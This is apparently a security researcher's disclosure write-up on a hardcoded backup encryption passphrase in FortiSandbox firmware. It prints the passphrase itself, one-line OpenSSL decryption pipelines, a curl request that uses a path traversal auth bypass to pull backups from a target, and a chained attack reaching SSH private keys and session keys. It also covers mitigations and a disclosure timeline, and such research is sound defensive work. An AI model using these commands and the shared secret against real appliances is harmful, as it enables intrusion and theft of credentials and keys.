Hardcoded Encryption Key in FortiSandbox Firmware Decrypting System Backups from First Principles
How firmware reverse engineering revealed a hardcoded AES-256-CBC passphrase shared across all FortiSandbox devices — and why the 4.4.9 patch did nothing to fix it
Background
In our previous article on CVE-2026-39813, we demonstrated how a path traversal vulnerability in FortiSandbox’s JRPC API allows unauthenticated access to the backup/config endpoint, yielding a 32KB encrypted file with the unmistakable Salted__ header — the signature of OpenSSL’s enc command.
That article ended with a 26,224-byte encrypted blob and an open question: can it be decrypted?
This post answers that question definitively. Through firmware reverse engineering of the system-conf-recovery/ component in both 4.4.8 and 4.4.9 firmware, we reconstructed the complete encryption pipeline and discovered that the encryption passphrase is hardcoded in compiled Python bytecode — and identical across all FortiSandbox installations that have not configured a custom key file.
Summary
- Finding: The backup encryption passphrase
BzklORFMUxD-b5PY1Dj3-nOis hardcoded as a string constant incommon/utils.pycwithin thesystem-conf-recoverypackage - Encryption: OpenSSL AES-256-CBC with
EVP_BytesToKeykey derivation (default SHA-256 digest, MD5 fallback) - Impact: Any backup file from a default-configured FortiSandbox can be decrypted offline with a single OpenSSL command — no access to the target device required
- Patch status: The 4.4.9 firmware update does not address this issue — the hardcoded password, encryption logic, and decryption logic are all byte-for-byte identical between 4.4.8 and 4.4.9
- CWE Classification: CWE-321 (Use of a Hard-coded Cryptographic Key) and CWE-798 (Use of Hard-coded Credentials)
Encryption Pipeline Reconstruction
The Backup Script
System configuration backups are generated by /usr/bin/system-conf-recovery/backup.pyc, invoked by the Django web application via recovery.py’s handle_backup() function:
1
2
3
4
5
6
# recovery.py -> handle_backup() (reconstructed from bytecode)
encrypted_filename = '{sn}_{version}_{timestamp}.conf'
stdout, stderr, retcode = fork_process(
'python /usr/bin/system-conf-recovery/backup.pyc -n %s -d %s' %
(encrypted_filename, BACKUP_PATH)
)
The Core Encryption Command
Disassembling backup.pyc’s gen_conf_pkg() function (bytecode offset 84-188) reveals the encryption command template stored as a bytecode constant:
1
2
3
4
5
6
7
# backup.pyc -> gen_conf_pkg() [Constant #6]
cmd = (
'cd %(dir)s; '
'tar cfz - %(in_file)s %(version_file)s | '
'%(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | '
'dd of=%(out_file)s'
)
This is a three-stage pipeline:
| Stage | Command | Purpose |
|---|---|---|
| 1 | tar cfz - <files> VERSION |
Pack configuration files + version metadata into a gzipped tar stream |
| 2 | openssl aes-256-cbc -salt -k <pwd> |
Encrypt with AES-256-CBC, random 8-byte salt, producing Salted__ format |
| 3 | dd of=<output>.conf |
Write the encrypted output to a .conf file |
The output filename follows the pattern {SN}_{version}_{timestamp}.conf, constructed from:
1
2
3
4
5
6
# backup.pyc -> gen_conf_pkg() [Constant #7]
encrypted_filename = '%s_%s_%s.conf' % (
get_sn_no(), # Serial number from system-bios
BUILD_VERSION, # Firmware version string
time_suffix() # datetime.now().strftime('%Y%m%d-%H%M')
)
What Gets Backed Up
Based on backup.pyc constants and the main() function logic, the backup archive includes:
| Category | Contents |
|---|---|
| System configuration | Files listed in /etc/conf.idx |
| Databases | SQLite databases (FortiSandboxGUIBackend.db, FortiSandboxDevice.db, FortiConnector.db, user_authserver.db, conf_snmp.db, filterlist.db, sfmpd.db) |
| Version metadata | VERSION file with build string |
| SSH keys | RSA, ECDSA, Ed25519 host keys |
| GUI encryption key | gui_encryption_key — the symmetric key protecting GUI session data |
| Admin profiles | admin_profiles.json with full privilege matrices |
| Network configuration | Interface, route, proxy, DNS, mail server settings |
| VM scan profiles | vmprofile.conf with VM image configurations |
The Hardcoded Passphrase
get_encr_passphrase() — Full Reconstruction
The encryption password is retrieved by get_encr_passphrase() in common/utils.pyc. Full disassembly (bytecode offset 0-130) yields a complete reconstruction:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# common/utils.pyc -> get_encr_passphrase()
# Reconstructed from CPython 3.10 bytecode disassembly
def get_encr_passphrase():
BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO' # LOAD_CONST 1 — hardcoded default
try:
with open(SETTINGS['file_cfg_backup_key'], 'r') as f:
BACKUP_PWD = f.readline().splitlines()[0]
except IOError as ex:
if ex.args[0] == 2: # errno.ENOENT — file not found
return BACKUP_PWD # Fall back to hardcoded default
raise # Other I/O errors propagate
return BACKUP_PWD
Decision Flow
1
2
3
4
5
6
7
8
9
10
11
12
13
get_encr_passphrase() called
|
+-- Initialize: BACKUP_PWD = 'BzklORFMUxD-b5PY1Dj3-nO'
|
+-- Attempt: open(SETTINGS['file_cfg_backup_key'])
| |
| +-- Success -> Read first line -> return custom password
| |
| +-- IOError
| +-- errno == 2 (file not found) -> return hardcoded default
| +-- Other errors -> propagate exception
|
+-- return BACKUP_PWD
The critical path is the errno == 2 branch: when the custom key file does not exist — the default state on any FortiSandbox that hasn’t been explicitly configured with a backup encryption key — the function silently falls back to the hardcoded value.
Bytecode-Level Evidence
The string constant is directly visible in the .pyc file’s constant pool:
1
2
3
# common/utils.pyc -> get_encr_passphrase() [Constants]
1: 'BzklORFMUxD-b5PY1Dj3-nO' # Offset 0: LOAD_CONST 1 -> assigned to BACKUP_PWD
2: 'file_cfg_backup_key' # Offset 10: SETTINGS[key]
The encryption command template from backup.pyc:
1
2
3
4
# backup.pyc -> gen_conf_pkg() [Constants]
6: 'cd %(dir)s; tar cfz - %(in_file)s %(version_file)s | %(ssl_bin)s aes-256-cbc -salt -k %(pwd)s | dd of=%(out_file)s'
7: '%s_%s_%s.conf'
8: ('dir', 'in_file', 'version_file', 'ssl_bin', 'pwd', 'out_file')
The escape_phrase() Escaping
Before the passphrase is passed to the shell command, it goes through escape_phrase():
1
2
3
4
5
6
# common/utils.pyc -> escape_phrase()
def escape_phrase(phrase):
ep = ''
for c in phrase:
ep = ep + '\\' + c # Prepend backslash to every character
return ep
This produces \B\z\k\l\O\R\F\M\U\x\D\-\b\5\P\Y\1\D\j\3\-\n\O for the default password. However, since every character in BzklORFMUxD-b5PY1Dj3-nO is a regular alphanumeric character or hyphen (none are bash metacharacters), the backslash escaping is a no-op in practice — the shell evaluates the escaped form back to the original string. For decryption, the raw unescaped passphrase works correctly.
Decryption Logic
Two-Stage Fallback Strategy
The restoration code in restorestage1.pyc implements a digest fallback to handle different OpenSSL versions:
1
2
3
4
5
6
# restorestage1.pyc [Constants]
# Method 1: Default digest (OpenSSL >= 1.1.0 uses SHA-256)
4: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -salt -k %(pwd)s | tar zxf - -C %(out_path)s'
# Method 2: MD5 digest fallback (OpenSSL < 1.1.0 compatibility)
11: 'dd if=%(in_file)s | %(ssl_bin)s aes-256-cbc -d -md MD5 -salt -k %(pwd)s | tar zxf - -C %(out_path)s'
| OpenSSL Version | Default Digest | Required Flag |
|---|---|---|
| < 1.1.0 | MD5 | (none) — but newer OpenSSL needs -md md5 |
| >= 1.1.0 | SHA-256 | (default) |
The restore script tries the SHA-256 method first, then falls back to MD5 on failure. This handles the case where a backup was created on an older appliance but restored on a newer one.
One-Command Decryption
With the hardcoded passphrase, decryption is trivial:
1
2
3
4
5
6
7
8
9
# Decrypt + extract in one pipeline
dd if=backup.conf 2>/dev/null | \
openssl aes-256-cbc -d -salt -k 'BzklORFMUxD-b5PY1Dj3-nO' | \
tar zxf - -C output_dir/
# If SHA-256 fails, try MD5 digest (older backups)
dd if=backup.conf 2>/dev/null | \
openssl aes-256-cbc -d -md md5 -salt -k 'BzklORFMUxD-b5PY1Dj3-nO' | \
tar zxf - -C output_dir/
End-to-End Verification
From Download to Full Config Extraction
Using CVE-2026-39813 (JRPC path traversal auth bypass) against a live FortiSandbox 4.4.8 target:
Step 1 — Download the encrypted backup via JRPC:
1
2
3
4
5
6
7
8
9
curl -k -X POST "https://TARGET/fortisandbox/jsonrpc/" \
-H "Content-Type: application/json" \
-d '{
"id": 1,
"session": "../../tmp/",
"method": "exec",
"params": [{"url": "backup/config", "action": "get"}],
"ver": "2.0"
}'
Step 2 — Result: 26,224 bytes, Salted__ header confirmed.
Step 3 — Decrypt with the hardcoded password: Successful — yields a valid gzip tar archive.
Step 4 — Extract: The archive contains 44 files including the following high-value items:
| Category | File | Sensitivity |
|---|---|---|
| Databases | FortiSandboxGUIBackend.db (main DB) |
Critical — user accounts, scan history, settings |
FortiSandboxDevice.db |
Device configuration state | |
FortiConnector.db |
Connector settings | |
user_authserver.db |
Authentication server configuration | |
| SSH Host Keys | ssh/ssh_host_rsa_key |
Critical — private key in PEM format |
ssh/ssh_host_ecdsa_key |
ECDSA private key | |
ssh/ssh_host_ed25519_key |
Ed25519 private key | |
ssh/authorized_keys2 |
Authorized public keys | |
| Crypto Material | gui_encryption_key |
98-byte symmetric key for GUI session encryption |
| Access Control | admin_profiles.json |
Full privilege matrix for all admin roles |
password_policy.json |
Password requirements (or lack thereof) | |
system-adminright |
Admin access protocols (HTTPS, SSH) | |
| Network Config | system-interface |
Interface IP: 10.10.10.230/24 |
system-route |
Default gateway: 10.10.10.1 |
|
system-proxyserver |
Proxy configuration | |
resolv.conf |
DNS resolver settings | |
mta.conf |
Mail transfer agent config | |
| VM Scan Config | vmprofile.conf |
VM scan profile definitions |
remote_vms.config |
Remote VM settings | |
| Monitoring | conf_snmp.db |
SNMP configuration |
icap.conf |
ICAP protocol settings |
Sample Extracted Data
The decrypted admin_profiles.json reveals the complete privilege matrix — four default profiles (Super Admin, Read Only, Device, Netshare) with granular permission levels for 40+ GUI functions:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"version": "5.0.2.0109",
"profile": {
"Super Admin": {
"users": ["admin"],
"privileges": {
"dashboard": 3, "scan_jobs": 3, "vm_images": 3,
"system": 3, "admin": 3, "network": 3,
"json_api": 4, "cli_access": 4
}
}
}
}
The password_policy.json shows that on this device, password policies are disabled:
1
2
3
4
5
6
7
{
"enable": false,
"min_length": 6,
"charactor_reqirements": false,
"enable_expiration": false,
"enable_reuse_pwd": true
}
The gui_encryption_key is a 98-byte string used for symmetric encryption of GUI session data — now fully accessible for offline analysis.
Cross-Version Analysis: 4.4.8 vs 4.4.9
A byte-level comparison of the three backup-related .pyc files between firmware versions reveals a critical finding:
| Component | 4.4.8 Size | 4.4.9 Size | Byte Differences | Analysis |
|---|---|---|---|---|
common/utils.pyc |
identical | identical | Bytes 9-12 only | CPython timestamp header — code identical |
backup.pyc |
identical | identical | Bytes 9-12 only | CPython timestamp header — code identical |
restorestage1.pyc |
identical | identical | Bytes 9-12 only | CPython timestamp header — code identical |
The only differences between versions are at bytes 9-12 of each .pyc file — this is the mtime field in the CPython 3.10 .pyc header (magic number + flags + timestamp + source size). The actual bytecode, constants, and logic are byte-for-byte identical.
The 4.4.9 patch fixed the JRPC authentication bypass (CVE-2026-39813) but did nothing to address the hardcoded backup encryption key. Any backup downloaded from a patched 4.4.9 system — whether through a future vulnerability or authorized administrative download — can still be decrypted with the same hardcoded passphrase.
Combined Attack Chain
The hardcoded encryption key completes a practical attack chain when combined with previously disclosed vulnerabilities:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Phase 1: Obtain the encrypted backup
|
+-- Option A: CVE-2026-39813 (JRPC path traversal auth bypass)
| -> POST /jsonrpc/ with session="../../tmp/"
| -> GET backup/config endpoint
| -> 26KB encrypted backup (Salted__ format)
|
+-- Option B: CVE-2026-26083 (middleware auth bypass)
-> Trigger handle_backup() side effect
-> Backup generated on server
Phase 2: Obtain the custom key (if configured)
|
+-- CVE-2026-26083 + CVE-2026-39808 (pre-auth RCE)
-> cat /etc/cfg_backup_key
-> If file exists, read the custom passphrase
-> If file absent, use hardcoded default
Phase 3: Offline decryption
|
+-- openssl aes-256-cbc -d -salt -k 'BzklORFMUxD-b5PY1Dj3-nO'
|
+-- tar zxf -> 44+ configuration files
|
+-- Full system configuration compromise:
- SSH private keys -> persistent device access
- GUI encryption key -> session forgery
- Admin profiles -> privilege mapping for lateral movement
- Network config -> topology reconnaissance
- Database files -> scan history, user accounts
For default-configured devices (the vast majority), Phase 2 is unnecessary — the hardcoded password is sufficient for decryption.
Security Impact
Why This Matters
| Risk | Assessment |
|---|---|
| Shared secret across product line | All FortiSandbox devices without a custom key file use the same passphrase BzklORFMUxD-b5PY1Dj3-nO |
| Non-rotatable by users | The password is compiled into .pyc bytecode — users cannot change it without replacing system files |
| Offline decryption | Possession of a backup file is sufficient; no network access to the target device is required for decryption |
| Sensitive backup contents | SSH private keys, GUI encryption keys, admin privilege matrices, network topology, database contents |
| Unpatched in 4.4.9 | The fix for CVE-2026-39813 blocks the delivery mechanism (JRPC auth bypass) but leaves the encryption weakness intact |
| Long-lived risk | Even if the JRPC vulnerability is patched, backups downloaded through other means (admin compromise, insider threat, future vulnerabilities) remain decryptable |
CWE Classification
- CWE-321: Use of a Hard-coded Cryptographic Key — The encryption passphrase is a fixed string constant in compiled bytecode, shared across all installations
- CWE-798: Use of Hard-coded Credentials — The same string serves as a credential for backup confidentiality, and cannot be changed through normal administrative interfaces
Timeline
| Date | Event |
|---|---|
| 2026-04-14 | Fortinet publishes FG-IR-26-112 (CVE-2026-39813) — JRPC path traversal |
| 2026-04-14 | Fortinet publishes FG-IR-26-111 (CVE-2026-39808) — command injection |
| 2026-04-21 | Firmware reverse engineering identifies hardcoded backup encryption key |
| 2026-04-21 | Successful decryption of 26KB backup downloaded via CVE-2026-39813 |
| 2026-04-22 | Cross-version analysis confirms 4.4.9 does not address hardcoded key |
| 2026-06-12 | Public disclosure of backup encryption analysis |
Mitigation
- For administrators:
- Configure a custom backup encryption key file (
SETTINGS['file_cfg_backup_key']) via the FortiSandbox management interface to override the hardcoded default - Rotate this key periodically
- Restrict network access to the JRPC endpoint (
/jsonrpc/) to trusted management networks only - Treat backup files as highly sensitive — store them in encrypted, access-controlled locations
- Rotate SSH host keys on appliances where backups may have been compromised
- Configure a custom backup encryption key file (
- For Fortinet (vendor recommendations):
- Replace the hardcoded passphrase with per-device key generation (e.g., deriving the encryption key from
/etc/secret_keywhich is already unique per installation) - Implement proper key management with rotation support
- Add backup integrity verification (signing in addition to encryption)
- Backport the fix to all supported firmware branches, not just the latest
- Replace the hardcoded passphrase with per-device key generation (e.g., deriving the encryption key from
- Immediate compensating controls:
- If a custom key file is already configured, verify it is in place:
ls -la /etc/cfg_backup_key - Audit network logs for JRPC access to
backup/configendpoint from unauthorized sources - Assume any backup file that has left the administrative network is compromised
- If a custom key file is already configured, verify it is in place:
Conclusion
The discovery of a hardcoded encryption passphrase in FortiSandbox’s backup mechanism highlights a fundamental key management failure: encryption that relies on a shared, unchangeable secret provides no meaningful confidentiality once that secret is extracted from the firmware. The passphrase BzklORFMUxD-b5PY1Dj3-nO is compiled into every FortiSandbox firmware image, making every backup from every default-configured device decryptable by anyone who obtains the file.
What makes this finding particularly concerning is its interaction with the vulnerabilities we previously disclosed. CVE-2026-39813 provides the delivery mechanism — unauthenticated backup exfiltration via JRPC path traversal. The hardcoded key provides the decryption capability — requiring zero computational effort. Together, they enable a complete configuration extraction attack chain from a single HTTP request to a fully decrypted archive containing SSH private keys, database contents, and administrative credentials.
Most critically, the 4.4.9 firmware update does not address this issue. While the JRPC authentication bypass has been patched, the underlying cryptographic weakness remains — any future vulnerability that provides backup file access will allow full decryption.
References
- CVE-2026-39813 Analysis — JRPC Path Traversal Auth Bypass
- CVE-2026-39808 Analysis — Pre-auth Command Injection
- CVE-2026-26083 Analysis — Middleware Authorization Bypass
- Fortinet PSIRT Advisory FG-IR-26-112
- CWE-321: Use of a Hard-coded Cryptographic Key
- CWE-798: Use of Hard-coded Credentials
- OpenSSL EVP_BytesToKey Documentation
